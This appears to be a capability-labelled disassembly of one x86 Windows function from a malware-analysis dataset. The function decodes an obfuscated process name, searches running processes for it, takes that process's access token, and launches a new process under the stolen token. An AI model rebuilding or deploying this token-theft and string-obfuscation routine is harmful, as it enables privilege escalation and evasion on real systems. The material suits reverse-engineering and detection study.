Function at 0x412c50
Capabilities:
Create process on windows
Create process suspended
Encode data using xor
Enumerate processes
Impersonate user

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44a30d
mov eax, dword fs:[0]
push eax
sub esp, 0x32c
mov eax, dword [0x466124]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
xor eax, eax
mov dword [ebp - 0xa0], 0x577a0555
mov dword [ebp - 0x9c], 0x1b712499
mov dword [ebp - 0x98], 0x85e3f6a2
mov byte [ebp - 0x94], 0
nop dword [eax + eax]
mov dl, al
mov cl, al
sub dl, byte [ebp + eax - 0xa0]
mov dh, 6
xor dl, 0x9f
add dl, 0x69
not dl
sub dl, al
xor dl, 0x44
sub cl, dl
mov dl, al
xor cl, 0xaf
sub dl, cl
movzx ecx, al
ror dl, 1
sub dl, al
imul ecx, ecx, 0xfe
xor dl, al
not dl
add dl, 0x1a
ror dl, 2
sub dl, 0x57
xor dl, al
sub dh, dl
mov dl, 0x7d
rol dh, 1
add dh, al
neg dh
xor dh, al
add dh, al
xor dh, 9
sub cl, dh
not cl
add cl, al
rol cl, 2
not cl
xor cl, al
sub cl, 6
rol cl, 2
xor cl, al
add cl, 0x25
ror cl, 3
sub cl, al
ror cl, 1
sub cl, 0x41
xor cl, al
add cl, 7
ror cl, 3
sub cl, 0x56
xor cl, al
add cl, al
neg cl
xor cl, al
mov dword [ebp - 0x32c], ecx
mov cl, 0x5b
sub cl, byte [ebp - 0x32c]
xor cl, al
sub dl, cl
xor dl, 0x18
sub dl, al
xor dl, al
ror dl, 3
xor dl, 0xe4
add dl, 0x43
not dl
sub dl, al
xor dl, 0xb6
sub dl, al
ror dl, 2
mov byte [ebp + eax - 0xa0], dl
inc eax
cmp eax, 0xd
jb 0x412cb0
movq xmm1, qword [ebp - 0xa0]
xorps xmm0, xmm0
punpcklbw xmm1, xmm0
mov ecx, 8
movups xmmword [ebp - 0x90], xmm1
nop
movzx eax, byte [ebp + ecx - 0xa0]
mov word [ebp + ecx*2 - 0x90], ax
inc ecx
cmp ecx, 0xd
jb 0x412d90
xor edi, edi
xor eax, eax
push edi
push 2
mov word [ebp - 0x76], ax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x413044
push 0x228
lea eax, [ebp - 0x324]
mov dword [ebp - 0x328], 0x22c
push edi
push eax
call fcn.0042b6f0
add esp, 0xc
lea eax, [ebp - 0x328]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x412e2e
mov edi, dword [sym.imp.KERNEL32.dll_Process32NextW]
nop dword [eax]
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x304]
push eax
call fcn.0042e3a6
add esp, 8
test eax, eax
je 0x413039
lea eax, [ebp - 0x328]
push eax
push esi
call edi
test eax, eax
jne 0x412e00
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x413044
xorps xmm0, xmm0
mov dword [ebp - 0x330], 0
push edi
push 1
push 0x1000
mov dword [ebp - 0x32c], 0
movlpd qword [ebp - 0xf8], xmm0
movlpd qword [ebp - 0xf0], xmm0
movlpd qword [ebp - 0xe8], xmm0
movlpd qword [ebp - 0xe0], xmm0
movlpd qword [ebp - 0xd8], xmm0
movlpd qword [ebp - 0xd0], xmm0
movlpd qword [ebp - 0xc8], xmm0
movlpd qword [ebp - 0xc0], xmm0
movups xmmword [ebp - 0xa0], xmm0
mov dword [ebp - 0xfc], 0x44
call dword [sym.imp.KERNEL32.dll_OpenProcess]
lea ecx, [ebp - 0x330]
push ecx
push 0x2000000
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push dword [ebp - 0x330]
call dword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x412ee2
call dword [sym.imp.ADVAPI32.dll_RevertToSelf]
cmp dword [ebp + 0x1c], 0x10
lea edx, [ebp + 8]
mov eax, dword [ebp + 0x18]
lea edi, [ebp + 8]
cmovae edx, dword [ebp + 8]
lea ecx, [ebp - 0xb8]
add eax, edx
mov dword [ebp - 0xb8], 0
cmp dword [ebp + 0x1c], 0x10
mov dword [ebp - 0x338], eax
cmovae edi, dword [ebp + 8]
sub eax, edi
mov dword [ebp - 0xa8], 0
push eax
mov dword [ebp - 0xa4], 7
call fcn.00426310
mov byte [ebp - 0x334], 0
lea ecx, [ebp - 0xb8]
push dword [ebp - 0x334]
push dword [ebp - 0x338]
push edi
call fcn.004266b0
lea eax, [ebp - 0x32c]
push eax
push 1
push 2
push 0
push 0x2000000
push dword [ebp - 0x330]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
cmp dword [ebp - 0xa4], 8
lea ecx, [ebp - 0xa0]
push ecx
lea ecx, [ebp - 0xfc]
push ecx
push 0
push 0
push 0x8000000
push 0
lea eax, [ebp - 0xb8]
cmovae eax, dword [ebp - 0xb8]
push eax
push 1
push dword [ebp - 0x32c]
call dword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
mov edx, dword [ebp - 0xa4]
cmp edx, 8
jb 0x412fe8
mov ecx, dword [ebp - 0xb8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x412fde
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413094
push edx
push ecx
call fcn.0042a0d6
add esp, 8
mov edx, dword [ebp + 0x1c]
xor eax, eax
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xa4], 7
mov word [ebp - 0xb8], ax
cmp edx, 0x10
jb 0x413035
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41302b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413094
push edx
push ecx
call fcn.0042a0d6
add esp, 8
xor eax, eax
jmp 0x413079
mov edi, dword [ebp - 0x320]
jmp 0x412e2e
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x413074
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41306a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413094
push edx
push ecx
call fcn.0042a0d6
add esp, 8
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00429a60
mov esp, ebp
pop ebp
ret
call fcn.0042f0c9
int3